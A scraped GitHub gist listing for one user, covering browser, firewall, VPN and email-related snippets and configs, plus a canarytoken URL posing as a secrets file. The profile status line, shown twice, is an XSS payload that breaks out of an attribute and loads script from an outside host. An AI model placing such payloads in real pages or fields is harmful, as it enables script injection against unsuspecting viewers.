Skip to content

Instantly share code, notes, and snippets.

View geeknik's full-sized avatar
💭
><script src=//xss.mx></script><X="

geeknik geeknik

💭
><script src=//xss.mx></script><X="
View GitHub Profile
@geeknik
geeknik / gist:96f5a5851e87b3884272
Created July 22, 2014 21:41
Karma Blocker Default Rules
# This is a ruleset configuration for Karma Blocker. For more information, see:
# http://trac.arantius.com/wiki/Extensions/KarmaBlocker
# This default ruleset is intended to be demonstrative: making productive
# use of all the features that the Karma Blocker rule syntax provides. It
# should generally work, but it has intentionally not been tweaked to deal
# with the particulars of any given site. All rules here are intended to
# explain what can be done, and how it can be done, while remaining as
# generic as possible, with limited exceptions. You the user are expected
# to tweak and customize these rules.

Keybase proof

I hereby claim:

  • I am geeknik on github.
  • I am geeknik (https://keybase.io/geeknik) on keybase.
  • I have a public key whose fingerprint is CA3A 25E9 938B 7FA3 6294 D815 3587 0006 3B69 2412

To claim this, I am signing this object:

@geeknik
geeknik / redshift.config
Last active October 20, 2017 01:59
my redshift config
[redshift]
temp-day=6500K
temp-night=4750K
transition=1
gamma=1.0
brightness-day=1.0
brightness-night=0.8
location-provider=geoclue2
adjustment-method=vidmode
[manual]
#!/bin/bash
cores=$1
inputdir=$2
outputdir=$3
pids=""
total=`ls $inputdir | wc -l`
for k in `seq 1 $cores $total`
do
@geeknik
geeknik / rules-both.iptables
Created September 2, 2018 01:38 — forked from jirutka/rules-both.iptables
Basic iptables template for ordinary servers (both IPv4 and IPv6)
###############################################################################
# The MIT License
#
# Copyright 2012-2014 Jakub Jirutka <jakub@jirutka.cz>.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
@geeknik
geeknik / burpfox.sh
Last active March 1, 2024 22:02
launch firefox with a temporary profile and remove the temporary profile when firefox exits
#!/bin/sh
trap 'rm -rf "$PROFILEDIR"' EXIT
PROFILEDIR=$(mktemp -p /tmp -d tmp-fx-profile.XXXXXX.d)
/path/to/firefox -profile "$PROFILEDIR" -no-remote -new-instance
@geeknik
geeknik / userChrome.css
Last active November 12, 2019 06:10
Safety orange active tab for Firefox Nightly
.tab-background {
background-attachment: none!important;
background-color: none!important;
background-image: none!important;
}
.tab-background[selected="true"] {
background-attachment: none!important;
background-color: #ff9000!important;
background-image: none!important;
}
@geeknik
geeknik / mullvad.sh
Created June 17, 2021 17:13
random mullvad wireguard server
#!/bin/bash
wg-quick down "$(ifconfig | grep -Po ^mullvad-us[[:digit:]]{3})"
wg-quick up /etc/wireguard/"$(ls /etc/wireguard/ | shuf -n 1)"
@geeknik
geeknik / secrets.yml
Created November 2, 2022 14:52
secrets.yml
http://canarytokens.com/traffic/images/8gllfimjq73njj3nqwxu1135h/index.html
@geeknik
geeknik / poc.py
Last active September 27, 2023 16:19
lightning network anti-spam poc for sending/receiving email
from ecdsa import SigningKey, VerifyingKey
import smtplib
from email.mime.text import MIMEText
import lnd_grpc
import imaplib
import email
# Initialize Lightning Network client (Assumes LND is running)
lnd_client = lnd_grpc.Client()